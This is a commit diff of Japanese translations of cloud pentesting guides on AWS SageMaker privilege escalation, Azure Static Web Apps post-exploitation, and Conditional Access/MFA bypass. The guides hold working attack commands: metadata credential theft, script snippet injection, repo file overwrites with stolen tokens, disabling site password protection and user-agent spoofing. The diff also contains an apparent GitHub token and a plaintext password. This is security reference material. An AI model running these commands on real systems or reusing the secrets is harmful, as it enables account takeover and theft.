Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

This commit is contained in:
Translator
2025-01-05 22:58:04 +00:00
parent 6b153d797f
commit 8e707630c4
5 changed files with 317 additions and 46 deletions

View File

@@ -6,18 +6,18 @@
### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl`
IAMロールを使用してートブックを作成し始めます
IAMロールを使用して、添付されたノートブックを作成し始めます:
```bash
aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>
```
レスポンスには `NotebookInstanceArn` フィールドが含まれてり、これは新しく作成されたートブックインスタンスのARNを含みます。次に、`create-presigned-notebook-instance-url` APIを使用して、ートブックインスタンスが準備完了次第アクセスするためのURLを生成できます。
`NotebookInstanceArn` フィールドが含まれている必要があり、これは新しく作成されたノートブックインスタンスの ARN を含みます。次に、`create-presigned-notebook-instance-url` API を使用して、ノートブックインスタンスが準備完了次第アクセスするための URL を生成できます。
```bash
aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>
```
ブラウザでURLに移動し、右上の \`Open JupyterLab\` をクリックします。次に「Launcher」タブまでスクロールし、「Other」セクションの下にある「Terminal」ボタンをクリックします。
ブラウザでURLに移動し、右上の \`Open JupyterLab\` をクリックし次に「Launcher」タブまでスクロールし、「Other」セクションの下にある「Terminal」ボタンをクリックします。
これで、IAMロールのメタデータ資格情報にアクセスすることが可能です。
@@ -45,14 +45,14 @@ aws sagemaker create-processing-job \
# In my tests it took 10min to receive the shell
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds
```
**潜在的影響:** 指定されたsagemakerサービスロールへの権限昇格。
**潜在的影響:** 指定されたsagemakerサービスロールへの権限昇格。
### `sagemaker:CreateTrainingJob`, `iam:PassRole`
これらの権限を持つ攻撃者は、**任意のコンテナを実行する**トレーニングジョブを作成でき、**ロール添付された**状態になります。したがって、攻撃者はそのロールの資格情報を盗むことができます。
これらの権限を持つ攻撃者は、**任意のコンテナを実行する**トレーニングジョブを作成でき、そのジョブに**ロール添付**することができます。したがって、攻撃者はそのロールの資格情報を盗むことができます。
> [!WARNING]
> このシナリオは、攻撃者がリバースシェルや資格情報を直接送信するDockerイメージを生成する必要があるため、前のシナリオよりも悪用が難しいです(トレーニングジョブの設定で開始コマンドを指定することはできません)。
> このシナリオは、前のものよりも悪用が難しいです。なぜなら、リバースシェルや資格情報を攻撃者に直接送信するDockerイメージを生成する必要があるからです(トレーニングジョブの設定で開始コマンドを指定することはできません)。
>
> ```bash
> # Dockerイメージを作成
@@ -95,9 +95,9 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
その権限を持つ攻撃者は(潜在的に)**ハイパーパラメータトレーニングジョブ**を作成し、**任意のコンテナ**をそれに**ロールを付けて**実行できる可能性があります。\
&#xNAN;_&#x49; 時間がないために悪用していませんが、以前の悪用と似ているようす。悪用の詳細を含むPRを送信してください。_
_時間がなかったため、私はこの脆弱性を悪用していませんが、以前の悪用と似ているように見えます。悪用の詳細を含むPRを送信しても構いません。_
## 参
## 参考文献
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)

View File

@@ -0,0 +1,162 @@
# Az - Static Web Apps Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Azure Static Web Apps
このサービスに関する詳細情報は、以下を確認してください:
{{#ref}}
../az-services/az-static-web-apps.md
{{#endref}}
### Microsoft.Web/staticSites/snippets/write
静的ウェブページが任意のHTMLコードを読み込むようにスニペットを作成することが可能です。これにより、攻撃者がウェブアプリ内にJSコードを注入し、資格情報やメモリニックキーweb3ウォレット内などの機密情報を盗むことができます。
以下のコマンドは、ウェブアプリによって常に読み込まれるスニペットを作成します::
```bash
az rest \
--method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"name": "supersnippet",
"location": "Body",
"applicableEnvironmentsMode": "AllEnvironments",
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
"environments": [],
"insertBottom": false
}
}'
```
### 設定されたサードパーティの資格情報を読み取る
App Service セクションで説明したように:
{{#ref}}
../az-privilege-escalation/az-app-services-privesc.md
{{#endref}}
次のコマンドを実行することで、現在のアカウントに設定されている**サードパーティの資格情報**を読み取ることができます。たとえば、別のユーザーに設定されているGithubの資格情報がある場合、別のユーザーからトークンにアクセスすることはできません。
```bash
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
```
このコマンドは、Github、Bitbucket、Dropbox、およびOneDriveのトークンを返します。
ここにトークンを確認するためのいくつかのコマンド例があります:
```bash
# GitHub List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
# Bitbucket List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
# Dropbox List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
# OneDrive List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
```
### ファイルの上書き - ルート、HTML、JSの上書き...
Azureを通じてアプリを含むGithubリポジトリ内の**ファイルを上書きすることが可能です**。これは、上書きするファイルのパス、ファイルの内容、コミットメッセージを示すリクエストを送信する**Githubトークン**を使用して行います。
攻撃者はこれを悪用して、基本的に**ウェブアプリの内容を変更**し、悪意のあるコンテンツを提供する(資格情報、ニーモニックキーを盗む...)か、単に**特定のパスを自分のサーバーに再ルーティング**するために`staticwebapp.config.json`ファイルを上書きすることができます。
> [!WARNING]
> 攻撃者が何らかの方法でGithubリポジトリを侵害した場合、彼らはGithubから直接ファイルを上書きすることもできることに注意してください。
```bash
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
-d '{
"commit": {
"message": "Update static web app route configuration",
"branchName": "main",
"committer": {
"name": "Azure App Service",
"email": "donotreply@microsoft.com"
},
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
"filePath": "staticwebapp.config.json",
"message": "Update static web app route configuration",
"repoName": "carlospolop/my-first-static-web-app",
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
},
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
}'
```
### Microsoft.Web/staticSites/config/write
この権限を使用すると、静的ウェブアプリを保護する**パスワードを変更**したり、次のようなリクエストを送信することで、すべての環境の保護を解除することができます:
```bash
# Change password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"password": "SuperPassword123.",
"secretUrl": "",
"applicableEnvironmentsMode": "AllEnvironments"
}
}'
# Remove the need of a password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"secretUrl": "",
"applicableEnvironmentsMode": "SpecifiedEnvironments",
"secretState": "None"
}
}'
```
### Microsoft.Web/staticSites/listSecrets/action
この権限は、静的アプリの**APIキーデプロイメントトークン**を取得することを許可します。
このトークンは、アプリをデプロイすることを可能にします。
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
```
次に、アプリを更新するには、以下のコマンドを実行できます。このコマンドは、**how to Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) works**を確認して抽出されたもので、Azureがデフォルトで使用するものです。したがって、画像やパラメータは将来的に変更される可能性があります。
1. リポジトリをダウンロードします [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic)(またはデプロイしたい他のリポジトリ)し、`cd react-basic`を実行します。
2. デプロイしたいコードを変更します。
3. 次のコマンドを実行してデプロイします(`<api-token>`を変更することを忘れないでください):
```bash
docker run -it --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
```
### Microsoft.Web/staticSites/write
この権限を使用すると、**静的ウェブアプリのソースを別のGithubリポジトリに変更することが可能ですが、これは通常、アクションを認証したトークンを使用してGithub Actionから行う必要があるため、自動的にはプロビジョニングされません。このトークンはリポジトリのGithubシークレット内で自動的に更新されることはなくアプリが作成されるときに自動的に追加されるだけです。**
```bash
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
```
### Microsoft.Web/staticSites/resetapikey/action
この権限を持つことで、**静的ウェブアプリのAPIキーをリセットする**ことが可能になり、アプリを自動的にデプロイするワークフローをDoS攻撃する可能性があります。
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,62 +4,62 @@
## 基本情報
Azure Conditional Accessポリシーは、特定の**条件**に基づいてAzureサービスアプリケーションへのアクセス制御を強制するためにMicrosoft Azure設定されたルールです。これらのポリシーは、適切な状況下で適切なアクセス制御を適用することにより、組織がリソースを保護するのに役立ちます。\
Conditional accessポリシーは基本的に**誰が**、**何に**、**どこから**、**どのように**アクセスできるかを**定義**します。
Azure Conditional Access ポリシーは、特定の **条件** に基づいて Azure サービスおよびアプリケーションへのアクセス制御を強制するために Microsoft Azure設定されたルールです。これらのポリシーは、適切な状況下で適切なアクセス制御を適用することにより、組織がリソースを保護するのに役立ちます。\
Conditional access policies は基本的に **誰が** **何に** **どこから** **どのように** アクセスできるかを **定義** します。
いくつかの例を挙げます:
1. **サインインリスクポリシー**このポリシーは、サインインリスクが検出された場合に多要素認証MFAを要求するように設定できます。たとえば、ユーザーのログイン行動が通常のパターンと異なる場合、たとえば異なる国からログインしている場合、システムは追加の認証を求めることができます。
2. **デバイスコンプライアンスポリシー**このポリシーは、組織のセキュリティ基準に準拠しているデバイスのみがAzureサービスにアクセスできるように制限できます。たとえば、最新のウイルス対策ソフトウェアがインストールされているデバイスや特定のオペレーティングシステムバージョンを実行しているデバイスからのみアクセスを許可することができます。
1. **サインインリスクポリシー**: このポリシーは、サインインリスクが検出された場合に多要素認証 (MFA) を要求するように設定できます。たとえば、ユーザーのログイン行動が通常のパターンと異なる場合、たとえば異なる国からログインしている場合、システムは追加の認証を求めることができます。
2. **デバイスコンプライアンスポリシー**: このポリシーは、組織のセキュリティ基準に準拠しているデバイスのみが Azure サービスにアクセスできるように制限できます。たとえば、最新のウイルス対策ソフトウェアがインストールされているデバイスや特定のオペレーティングシステムバージョンを実行しているデバイスからのみアクセスを許可することができます。
## Conditional Accessポリシーのバイパス
## Conditional Access Policies Bypasses
Conditional accessポリシーが**簡単に改ざんできる情報をチェックしている可能性があり、ポリシーバイパスが可能です**。たとえば、ポリシーがMFAを設定している場合、攻撃者はそれをバイパスできるでしょう。
条件付きアクセス ポリシーが **簡単に改ざんできる情報をチェックしている可能性があり、ポリシーバイパスできる** ことがあります。たとえば、ポリシーが MFA を設定している場合、攻撃者はそれをバイパスできるでしょう。
Conditional accessポリシーを設定する際には、**影響を受けるユーザー****ターゲットリソース**すべてのクラウドアプリなどを指定する必要があります。
条件付きアクセス ポリシーを設定する際には、**影響を受けるユーザー****ターゲットリソース** (すべてのクラウドアプリなど) を指定する必要があります。
また、ポリシーを**トリガー**する**条件**を設定する必要があります:
また、ポリシーを **トリガー** する **条件** を設定する必要があります:
- **ネットワーク**IP、IP範囲、地理的位置
- VPNプロキシを使用して許可されたIPアドレスからログインすることでバイパス可能
- **Microsoftリスク**ユーザーリスク、サインインリスク、内部者リスク
- **デバイスプラットフォーム**任意のデバイスまたはAndroid、iOS、Windows Phone、Windows、macOS、Linuxを選択
- 「任意のデバイス」が選択されていないが他のすべてのオプションが選択されている場合、これらのプラットフォームに関連しないランダムなユーザーエージェントを使用してバイパス可能
- **クライアントアプリ**オプションは「ブラウザ」、「モバイルアプリとデスクトップクライアント」、「Exchange ActiveSyncクライアント」、「その他のクライアント」
- 選択されていないオプションでログインをバイパス
- **デバイスフィルタ**使用されるデバイスに関連するルールを生成可能
- **認証フロー**オプションは「デバイスコードフロー」と「認証転送」
- **ネットワーク**: IP、IP 範囲、地理的位置
- VPN またはプロキシを使用して許可された IP アドレスからログインすることでバイパス可能
- **Microsoft リスク**: ユーザーリスク、サインインリスク、内部者リスク
- **デバイスプラットフォーム**: 任意のデバイスまたは Android、iOS、Windows Phone、Windows、macOS、Linux を選択
- 「任意のデバイス」が選択されていないが他のすべてのオプションが選択されている場合、これらのプラットフォームに関連しないランダムなユーザーエージェントを使用してバイパス可能
- **クライアントアプリ**: オプションは「ブラウザ」、「モバイルアプリとデスクトップクライアント」、「Exchange ActiveSync クライアント」、「その他のクライアント」
- 選択されていないオプションでログインをバイパスする
- **デバイスフィルタ**: 使用されるデバイスに関連するルールを生成可能
- **認証フロー**: オプションは「デバイスコードフロー」と「認証転送」
- これは、攻撃者がフィッシング攻撃で被害者のアカウントにアクセスしようとしない限り、影響を与えません
可能な**結果**はブロックまたはアクセスを許可し、MFAを要求するなどの条件が付く可能性があります…
可能な **結果** は次のとおりですブロックまたはアクセスを許可し、MFA を要求する、デバイスが準拠している必要があるなどの条件が付くことがあります…
### デバイスプラットフォーム - デバイス条件
**デバイスプラットフォーム**Android、iOS、Windows、macOSなど)に基づいて条件を設定することが可能ですが、これは**ユーザーエージェント**に基づいているため、バイパスが容易です。すべてのオプションでMFAを強制しても、**認識されないユーザーエージェント**を使用すれば、MFAまたはブロックをバイパスできます
**デバイスプラットフォーム** (Android、iOS、Windows、macOS...) に基づいて条件を設定することが可能ですが、これは **ユーザーエージェント** に基づいているため、バイパスが容易です。すべてのオプションで MFA を強制しても、**認識されないユーザーエージェントを使用すれば、** MFA またはブロックをバイパスできます:
<figure><img src="../../../../images/image (352).png" alt=""><figcaption></figcaption></figure>
ブラウザに**不明なユーザーエージェント**(例:`Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`を送信させるだけで、この条件をトリガーしないようにできます。\
開発者ツールでユーザーエージェントを**手動で**変更できます:
ブラウザに **不明なユーザーエージェント** (例: `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) を送信させるだけで、この条件をトリガーしないようにできます。\
開発者ツールでユーザーエージェントを **手動で** 変更できます:
<figure><img src="../../../../images/image (351).png" alt="" width="375"><figcaption></figcaption></figure>
&#x20;または、[このようなブラウザ拡張機能](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en)を使用できます。
または、[このようなブラウザ拡張機能](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en)を使用できます。
### ロケーション国、IP範囲 - デバイス条件
### ロケーション: 国、IP 範囲 - デバイス条件
これが条件付きポリシーに設定されている場合、攻撃者は**許可された国**で**VPN**を使用するか、**許可されたIPアドレス**からアクセスする方法を見つけることで、これらの条件をバイパスできます。
これが条件付きポリシーに設定されている場合、攻撃者は **許可された国****VPN** を使用するか、**許可された IP アドレス** からアクセスする方法を見つけることで、これらの条件をバイパスできます。
### クラウドアプリ
特定のアプリにアクセスしようとするユーザーに対して、MFAをブロックまたは強制する**条件付きアクセスポリシーを設定することが可能です**
特定のアプリにアクセスしようとするユーザーに対して、MFA をブロックまたは強制するように **条件付きアクセス ポリシーを設定することが可能です**
<figure><img src="../../../../images/image (353).png" alt=""><figcaption></figcaption></figure>
この保護をバイパスしようとする場合、**任意のアプリケーションにのみログインできるかどうか**を確認する必要があります。\
ツール[**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep)は、**ハードコーディングされた数十のアプリケーションID**を持ち、それらにログインしようとし、成功した場合はトークンを提供します。
この保護をバイパスしようとする場合、**任意のアプリケーションにのみログインできるかどうかを確認する必要があります**。\
ツール [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep)**ハードコーディングされた数十のアプリケーション ID** を持ち、それらにログインしようとし、成功した場合はトークンを提供します。
特定のリソース**特定のアプリケーションIDをテストする**ために、次のようなツールを使用することもできます:
特定のリソース内の **特定のアプリケーション ID をテストするために**、次のようなツールを使用することもできます:
```bash
roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout
@@ -69,20 +69,20 @@ roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4
ツール [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) も同様の目的で使用される可能性がありますが、メンテナンスされていないようです。
ツール [**ROPCI**](https://github.com/wunderwuzzi23/ropci) もこの保護をテストし、MFAやブロックをバイパスできるかどうかを確認するために使用できますが、このツールは **ホワイトボックス** の視点から動作します。最初にテナントで許可されているアプリのリストをダウンロードし、その後それらにログインしようとします。
ツール [**ROPCI**](https://github.com/wunderwuzzi23/ropci) もこの保護をテストし、MFAやブロックをバイパスできるかどうかを確認するために使用できますが、このツールは**ホワイトボックス**の視点から動作します。最初にテナントで許可されているアプリのリストをダウンロードし、その後それらにログインしようとします。
## その他の Az MFA バイパス
## その他のAz MFAバイパス
### 着信音
Azure MFA のオプションのつは、**設定された電話番号に電話を受ける**ことで、ユーザーに**`#`の文字を送信するように求められます**。
Azure MFAのオプションの1つは、**設定された電話番号に電話を受ける**ことで、ユーザーに**文字 `#` を送信するように求められます**。
> [!CAUTION]
> 文字は単なる**トーン**であるため、攻撃者は**ボイスメール**メッセージを妥協し、メッセージとして**`#`のトーン**を設定し、その後MFAを要求する際に**被害者の電話が通話中であることを確認**(電話をかける)して、Azureの通話がボイスメールにリダイレクトされるようにすることができます。
> 文字は単なる**トーン**であるため、攻撃者は**ボイスメール**メッセージを妥協し、メッセージとして**`#` のトーン**を設定し、その後MFAを要求する際に**被害者の電話が通話中であることを確認**することで、Azureの通話がボイスメールにリダイレクトされるようにすることができます。
### 準拠デバイス
ポリシーはしばしば準拠デバイスまたはMFAを要求するため、**攻撃者は準拠デバイスを登録し**、**PRT**トークンを取得し、**この方法でMFAをバイパスする**ことができます。
ポリシーはしばしば準拠デバイスまたはMFAを要求するため、**攻撃者は準拠デバイスを登録し**、**PRT**トークンを取得し、**この方法でMFAをバイパスすることができます**
まず、**Intuneに準拠デバイスを登録**し、その後**PRTを取得**します:
```powershell
@@ -106,7 +106,7 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
このスクリプトは、いくつかのユーザー資格情報を取得し、いくつかのアプリケーションにログインできるかどうかを確認します。
これは、後で**特権を昇格させるために悪用する可能性のあるアプリケーションにログインするにMFAが**必要ないかどうかを確認するのに役立ちます。
これは、後で**特権を昇格させるために悪用する可能性のあるアプリケーションにログインするためにMFAが**必要ないかどうかを確認するのに役立ちます。
### [roadrecon](https://github.com/dirkjanm/ROADtools)
@@ -116,7 +116,7 @@ roadrecon plugin policies
```
### [Invoke-MFASweep](https://github.com/dafthack/MFASweep)
MFASweepは、提供された資格情報を使用して**さまざまなMicrosoftサービスにログインし、MFAが有効かどうかを特定しようとするPowerShellスクリプトです**。条件付きアクセス ポリシーやその他の多要素認証設定の構成によって、一部のプロトコル単一要素のままになる可能性があります。また、ADFS構成の追加チェックがあり、検出された場合はオンプレミスのADFSサーバーにログインしようとすることもできます。
MFASweepは、**提供された資格情報を使用してさまざまなMicrosoftサービスにログインし、MFAが有効かどうかを特定しようとするPowerShellスクリプトです**。条件付きアクセス ポリシーやその他の多要素認証設定がどのように構成されているかによって、一部のプロトコル単一要素のままる可能性があります。また、ADFS構成の追加チェックがあり、検出された場合はオンプレミスのADFSサーバーにログインしようとすることもできます。
```bash
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
Invoke-MFASweep -Username <username> -Password <pass>
@@ -135,20 +135,20 @@ Invoke-MFASweep -Username <username> -Password <pass>
```
### [donkeytoken](https://github.com/silverhack/donkeytoken)
Donkey tokenは、Conditional Access Policiesを検証する必要があるセキュリティコンサルタントや、2FA対応のMicrosoftポータルテストするための機能のセットです。
Donkey tokenは、Conditional Access Policiesを検証する必要があるセキュリティコンサルタントや、2FAが有効なMicrosoftポータルテストを行うための機能のセットです。
<pre class="language-powershell"><code class="lang-powershell"><strong>git clone https://github.com/silverhack/donkeytoken.git
</strong><strong>Import-Module '.\donkeytoken' -Force
</strong></code></pre>
**各ポータルをテスト**して、**MFAなしでログインできるか**確認します
**各ポータルをテスト**して、**MFAなしでログインできるか**確認します:
```powershell
$username = "conditional-access-app-user@azure.training.hacktricks.xyz"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
```
**Azure** **ポータル**は**制約されていない**ため、**前回の実行で検出された任意のサービスにアクセスするためにポータルエンドポイントからトークンを取得することが可能です**。この場合、Sharepointが特定され、そのアクセスのトークンが要求されます:
**Azure** **ポータル**は**制約されていない**ため、**前回の実行で検出された任意のサービスにアクセスするためにポータルエンドポイントからトークンを取得することが可能です**。この場合、Sharepointが特定され、そのアクセスのためのトークンが要求されます:
```powershell
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token

View File

@@ -0,0 +1,109 @@
# Az - Static Web Apps
{{#include ../../../banners/hacktricks-training.md}}
## Static Web Apps 基本情報
Azure Static Web Appsは、**GitHubなどのリポジトリからの自動CI/CDを備えた静的Webアプリをホスティングするためのクラウドサービス**です。グローバルなコンテンツ配信、サーバーレスバックエンド、組み込みのHTTPSを提供し、安全でスケーラブルです。しかし、リスクには、誤って構成されたCORS、不十分な認証、コンテンツの改ざんが含まれ、適切に管理されないとXSSやデータ漏洩などの攻撃にさらされる可能性があります。
> [!TIP]
> Static Appが作成されると、**デプロイメント認証ポリシー**として**デプロイメントトークン**と**GitHub Actionsワークフロー**の間で選択できます。
### Web App 認証
Web Appにアクセスするために**パスワードを設定する**ことが可能です。Webコンソールでは、ステージング環境のみを保護するか、ステージングと本番の両方を保護するように設定できます。
執筆時点でのパスワード保護されたWebアプリの外観は次のとおりです
<figure><img src="../../../images/azure_static_password.png" alt=""><figcaption></figcaption></figure>
**どのパスワードが使用されているか**、およびどの環境が保護されているかを確認することができます:
```bash
az rest --method GET \
--url "/subscriptions/<subscription-id>/resourceGroups/Resource_Group_1/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2024-04-01"
```
しかし、これは**パスワードを平文で表示しません**。代わりに、次のようなものが表示されます: `"password": "**********************"`
### ルート
ルートは、静的ウェブアプリ内で**受信HTTPリクエストがどのように処理されるか**を定義します。**`staticwebapp.config.json`**ファイルで構成されており、URLの書き換え、リダイレクト、アクセス制限、およびロールベースの認証を制御し、適切なリソースの処理とセキュリティを確保します。
いくつかの例:
```json
{
"routes": [
{
"route": "/",
"rewrite": "/index.html"
},
{
"route": "/about",
"rewrite": "/about.html"
},
{
"route": "/api/*",
"allowedRoles": ["authenticated"]
},
{
"route": "/admin",
"redirect": "/login",
"statusCode": 302
}
],
"navigationFallback": {
"rewrite": "/index.html",
"exclude": ["/api/*", "/assets/*"]
}
}
```
## 列挙
```bash
# List Static Webapps
az staticwebapp list --output table
# Get Static Webapp details
az staticwebapp show --name <name> --resource-group <res-group> --output table
# Get appsettings
az staticwebapp appsettings list --name <name>
# Get env information
az staticwebapp environment list --name <name>
az staticwebapp environment functions --name <name>
# Get API key
az staticwebapp secrets list --name <name>
# Get invited users
az staticwebapp users list --name <name>
# Get database connections
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/databaseConnections?api-version=2021-03-01"
## Once you have the database connection name ("default" by default) you can get the connection string with the credentials
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/databaseConnections/default/show?api-version=2021-03-01"
```
## Webアプリを生成するための例
以下のリンクでウェブアプリを生成するための良い例を見つけることができます: [https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github](https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github)
1. リポジトリ https://github.com/staticwebdev/react-basic/generate をあなたのGitHubアカウントにフォークし、`my-first-static-web-app`と名付けます
2. AzureポータルでStatic Web Appを作成し、GitHubアクセスを設定し、先にフォークした新しいリポジトリを選択します
3. 作成し、数分待って、新しいページを確認してください!
## ポストエクスプロイテーション
{{#ref}}
../az-privilege-escalation/az-static-web-apps-post-exploitation.md
{{#endref}}
## 参考文献
- [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview)
- [https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans](https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans)
{{#include ../../../banners/hacktricks-training.md}}